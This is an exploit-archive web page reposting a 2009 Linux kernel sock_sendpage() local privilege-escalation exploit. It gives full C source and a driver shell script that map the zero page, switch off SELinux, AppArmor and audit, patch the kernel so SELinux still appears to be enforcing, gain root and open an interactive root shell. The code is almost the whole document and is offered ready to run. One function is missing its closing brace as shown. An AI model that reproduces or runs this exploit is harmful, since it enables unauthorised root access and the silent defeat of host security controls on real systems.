首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 2.x sock_sendpage() Local Ring0 Root Exploit
来源:vfocus.net 作者:spender 发布时间:2009-08-17  

----------------------------exploit.c---------------------------------

/* dedicated to my best friend in the whole world, Robin Price
   the joke is in your hands

   just too easy -- some nice library functions for reuse here though

   credits to julien tinnes/tavis ormandy for the bug
                                                                         
spender@www:~$ cat redhat_hehe
I bet Red Hat will wish they closed the SELinux vulnerability when they
were given the opportunity to.  Now all RHEL boxes will get owned by
leeches.c :p

fd7810e34e9856f77cba67f291ba115f33411ebd
d4b0e413ebf15d039953dfabf7f9a2d1
          
thanks to Dan Walsh for the great SELinux bypass even on "fixed" SELinux
policies

and nice work Linus on trying to silently fix an 8 year old
vulnerability, leaving vendors without patched kernels for their users.

  use ./wunderbar_emporium.sh for everything

don't have mplayer? watch an earlier version of the exploit at:
http://www.youtube.com/watch?v=arAfIp7YzZ4

*/

#include <asm/unistd.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/personality.h>
#include <unistd.h>

#define DOMAINS_STOP -1
#define VIDEO_SIZE 4171600
#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif
#ifndef PF_IUCV
#define PF_IUCV 32
#endif
#ifndef PX_PROTO_OL2TP
#define PX_PROTO_OL2TP 1
#endif

const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 },
 {PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 },
 {PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 },
 {PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 },
 {PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP },
 {PF_PPPOX, SOCK_DGRAM, 0 },
 {PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP },
 {DOMAINS_STOP, 0, 0 }
 };

int called_from_main = 0;
int got_ring0 = 0;
int got_root = 0;
int eightk_stack = 0;
int twofourstyle = 0;

void extract_and_play_video(void)
{
 FILE *file;
 char *buf;
  char template[] = "/tmp/video.XXXXXX";
 char syspath[200];
 int in;

 if (called_from_main == 0)
  return;

 buf = malloc(VIDEO_SIZE);
 if (!buf)
  return;

 file = fopen("/proc/self/exe", "r");
 fseek(file, -VIDEO_SIZE, SEEK_END);
 fread(buf, VIDEO_SIZE, 1, file);
 fclose(file);

        if ((in = mkstemp(template)) < 0)
  return;

 write(in, buf, VIDEO_SIZE);
 close(in);

 snprintf(syspath, sizeof(syspath)-1, "CACA_DRIVER=ncurses mplayer -ao oss -vo caca %s", template);
 system(syspath);
 unlink(template);

 return;
}

static inline unsigned long get_current_4k(void)
{
 unsigned long current = 0;
#ifndef __x86_64__
 asm volatile (
 " movl %%esp, %0;"
 : "=r" (current)
 );
#endif
 current = *(unsigned long *)(current & 0xfffff000);
 if (current < 0xc0000000 || current > 0xfffff000)
  return 0;

 return current;
}

static inline unsigned long get_current_8k(void)
{
 unsigned long current = 0;

#ifndef __x86_64__
 asm volatile (
 " movl %%esp, %0;"
 : "=r" (current)
 );
#endif
 current &= 0xffffe000;
 eightk_stack = 1;
 if ((*(unsigned long *)current < 0xc0000000) || (*(unsigned long *)current > 0xfffff000)) {
  twofourstyle = 1;
  return current;
 }
 return *(unsigned long *)current;
}

static inline unsigned long get_current_x64(void)
{
 unsigned long current = 0;
#ifdef __x86_64__
 asm volatile (
 "movq %%gs:(0), %0"
 : "=r" (current)
 );
#endif
 return current;

static unsigned long get_kernel_sym(char *name)
{
 FILE *f;
 unsigned long addr;
 char dummy;
 char sname[256];
 int ret;

 f = fopen("/proc/kallsyms", "r");
 if (f == NULL) {
  f = fopen("/proc/ksyms", "r");
  if (f == NULL) {
   fprintf(stdout, "Unable to obtain symbol listing!\n");
   return 0;
  }
 }

 ret = 0;
 while(ret != EOF) {
  ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  if (ret == 0) {
   fscanf(f, "%s\n", sname);
   continue;
  }
  if (!strcmp(name, sname)) {
   fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
   fclose(f);
   return addr;
  }
 }

 fclose(f);
 return 0;
}

int *audit_enabled;

int *selinux_enforcing;
int *selinux_enabled;
int *sel_enforce_ptr;

int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;

unsigned long *security_ops;
unsigned long default_security_ops;

unsigned long sel_read_enforce;

int what_we_do;

unsigned int our_uid;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static void give_it_to_me_any_way_you_can(void)
{
 if (commit_creds && prepare_kernel_cred) {
  commit_creds(prepare_kernel_cred(0));
  got_root = 1;
 } else {
  unsigned int *current;
  unsigned long orig_current;
  unsigned long orig_current_4k = 0;

  if (sizeof(unsigned long) != sizeof(unsigned int))
   orig_current = get_current_x64();
  else {
   orig_current = orig_current_4k = get_current_4k();
   if (orig_current == 0)
    orig_current = get_current_8k();
  }

repeat:
  current = (unsigned int *)orig_current;
  while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
   (current[0] != our_uid || current[1] != our_uid ||
    current[2] != our_uid || current[3] != our_uid))
   current++;

  if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
   if (orig_current == orig_current_4k) {
    orig_current = get_current_8k();
    goto repeat;
   }
   return;
  }
  got_root = 1;
  memset(current, 0, sizeof(unsigned int) * 8);
 }

 return; 
}

static int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{
 got_ring0 = 1;

 if (audit_enabled)
  *audit_enabled = 0;

 // disable apparmor
 if (apparmor_enabled && *apparmor_enabled) {
  what_we_do = 1;
   *apparmor_enabled = 0;
  if (apparmor_audit)
   *apparmor_audit = 0;
  if (apparmor_logsyscall)
   *apparmor_logsyscall = 0;
  if (apparmor_complain)
   *apparmor_complain = 0;
 }

 // disable SELinux
 if (selinux_enforcing && *selinux_enforcing) {
  what_we_do = 2;
  *selinux_enforcing = 0;
 }

 if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) {
  // trash LSM
  if (default_security_ops && security_ops) {
   if (*security_ops != default_security_ops)
    what_we_do = 3;
   *security_ops = default_security_ops;
  }
 }

 /* make the idiots think selinux is enforcing */
 if (sel_read_enforce) {
  unsigned char *p;
  unsigned long _cr0;

  asm volatile (
  "mov %%cr0, %0"
  : "=r" (_cr0)
  );
  _cr0 &= ~0x10000;
  asm volatile (
  "mov %0, %%cr0"
  :
  : "r" (_cr0)
  );
  if (sizeof(unsigned int) != sizeof(unsigned long)) {
   /* 64bit version, look for the mov ecx, [rip+off]
      and replace with mov ecx, 1
   */
   for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {
    if (p[0] == 0x8b && p[1] == 0x0d) {
     p[0] = '\xb9';
     p[5] = '\x90';
     *(unsigned int *)&p[1] = 1;
    }
   }
  } else {
   /* 32bit, replace push [selinux_enforcing] with push 1 */
   for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {
    if (p[0] == 0xff && p[1] == 0x35) {
     // while we're at it, disable
     // SELinux without having a
     // symbol for selinux_enforcing ;)
     if (!selinux_enforcing) {
      sel_enforce_ptr = *(unsigned int **)&p[2];
      *sel_enforce_ptr = 0;
      what_we_do = 2;
     }
     p[0] = '\x68';
     p[5] = '\x90';
     *(unsigned int *)&p[1] = 1;
    }
   }
  }
  _cr0 |= 0x10000;
  asm volatile (
  "mov %0, %%cr0"
  :
  : "r" (_cr0)
  );
 }

 // push it real good
 give_it_to_me_any_way_you_can();

 return -1;
}

int pa__init(void *m)
{
 char *mem = NULL;
 int d;
 int ret;

 our_uid = getuid();

 if ((personality(0xffffffff)) != PER_SVR4) {
  mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  if (mem != NULL) {
   /* for old kernels with SELinux that don't allow RWX anonymous mappings
      luckily they don't have NX support either ;) */
   mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
   if (mem != NULL) {
    fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
    return 1;
   }
  }
 } else {
  ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
  if (ret == -1) {
   fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
   return 1;
  }
 }

 fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");

 selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
 selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
 apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
 apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
 apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
 apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");
 security_ops = (unsigned long *)get_kernel_sym("security_ops");
 default_security_ops = get_kernel_sym("default_security_ops");
 sel_read_enforce = get_kernel_sym("sel_read_enforce");
 audit_enabled = (int *)get_kernel_sym("audit_enabled");
 commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
 prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");

 mem[0] = '\xff';
 mem[1] = '\x25';
 *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6;
 *(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel;


 /* trigger it */
 {
  char template[] = "/tmp/sendfile.XXXXXX";
  int in, out;

  // Setup source descriptor
  if ((in = mkstemp(template)) < 0) {
   fprintf(stdout, "failed to open input descriptor, %m\n");
   return 1;
  }

  unlink(template);

  // Find a vulnerable domain
  d = 0;
repeat_it:
  for (; domains[d][0] != DOMAINS_STOP; d++) {
   if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0)
    break;
  }
   
  if (out < 0) {
   fprintf(stdout, "unable to find a vulnerable domain, sorry\n");
   return 1;
  }

  // Truncate input file to some large value
  ftruncate(in, getpagesize());

  // sendfile() to trigger the bug.
  sendfile(out, in, NULL, getpagesize());
 }

 if (got_ring0) {
  fprintf(stdout, " [+] got ring0!\n");
 } else {
  d++;
  goto repeat_it;
 }

 fprintf(stdout, " [+] detected %s %dk stacks\n",
  twofourstyle ? "2.4 style" : "2.6 style",
  eightk_stack ? 8 : 4);
 
 extract_and_play_video();

 {
  char *msg;
  switch (what_we_do) {
   case 1:
    msg = "AppArmor";
    break;
   case 2:
    msg = "SELinux";
    break;
   case 3:
    msg = "LSM";
    break;
   default:
    msg = "nothing, what an insecure machine!";
  }
  fprintf(stdout, " [+] Disabled security of : %s\n", msg);
 }
 if (got_root == 1)
  fprintf(stdout, " [+] Got root!\n");
 else {
  fprintf(stdout, " [+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?\n");
  exit(0);
 }

 execl("/bin/sh", "/bin/sh", "-i", NULL);

 return 0;
}

void pa__done(void *m)
{
 return;
}

int main(void)
{
  called_from_main = 1;
  pa__init(NULL);
}

---------------------------------pwnkernel.c--------------------------------

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/stat.h>

#define PULSEAUDIO_PATH "/usr/bin/pulseaudio"
#define PATH_TO_EXPLOIT "/home/spender/exploit.so"

int main(void)
{
 int ret;
 struct stat fstat;

 ret = personality(PER_SVR4);

 if (ret == -1) {
  fprintf(stderr, "Unable to set personality!\n");
  return 0;
 }

 fprintf(stdout, " [+] Personality set to: PER_SVR4\n");

 if (stat(PULSEAUDIO_PATH, &fstat)) {
  fprintf(stderr, "Pulseaudio does not exist!\n");
  return 0;
 }

 if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) {
  fprintf(stderr, "Pulseaudio is not suid root!\n");
  return 0;
 }
 
 execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);

 return 0;
}

---------------------------------------------wunderbar_emporium.sh-------------------------------------------

#!/bin/sh

ESCAPED_PWD=`pwd | sed 's/\//\\\\\//g'`
sed "s/\/home\/spender/$ESCAPED_PWD/g" pwnkernel.c > pwnkernel1.c
mv pwnkernel.c pwnkernel2.c
mv pwnkernel1.c pwnkernel.c
killall -9 pulseaudio 2> /dev/null
IS_64=`uname -p`
OPT_FLAG=""
if [ "$IS_64" = "x86_64" ]; then
  OPT_FLAG="-m64"
fi
MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null`
if [ "$MINADDR" = "" -o "$MINADDR" = "0" ]; then
    cc -fno-stack-protector $OPT_FLAG -o exploit exploit.c 2> /dev/null
    if [ "$?" = "1" ]; then
       cc $OPT_FLAG -o exploit exploit.c
    fi
    cat tzameti.avi >> ./exploit
    ./exploit
elif [ ! -f '/usr/sbin/getenforce' ]; then
    cc -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c
    cc $OPT_FLAG -o pwnkernel pwnkernel.c
  ./pwnkernel
else
  RESULT=`/usr/sbin/getenforce`
  if [ "$RESULT" != "Disabled" ]; then
    cc -fno-stack-protector $OPT_FLAG -o exploit exploit.c
    cat tzameti.avi >> ./exploit
    ./exploit
    if [ "$?" = "1" ]; then
      chcon -t vbetool_exec_t ./exploit
      runcon -t initrc_t -- sh -c ./exploit
    fi
  else
    cc -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c
    cc $OPT_FLAG -o pwnkernel pwnkernel.c
    ./pwnkernel
  fi
fi
mv -f pwnkernel2.c pwnkernel.c


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Safari 4 versions prior to 4.0
·Linux Kernel 2.x sock_sendpage
·Gazelle CMS version 1.0 suffer
·VLC Media Player <= 1.0.1 smb:
·Wordpress Plugin WP-Syntax <=
·JBLOG 1.5.1 Remote SQL Table B
·EmbedThis Appweb version 3.0B.
·EmbedThis Appweb v3.0B.2-4 Mul
·Easy Music Player version 1.0.
·pIPL 2.5.0 (.PLS /.PL) Univers
·TheGreenBow VPN client version
·VLC Media Player 1.0.0/1.0.1 s
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved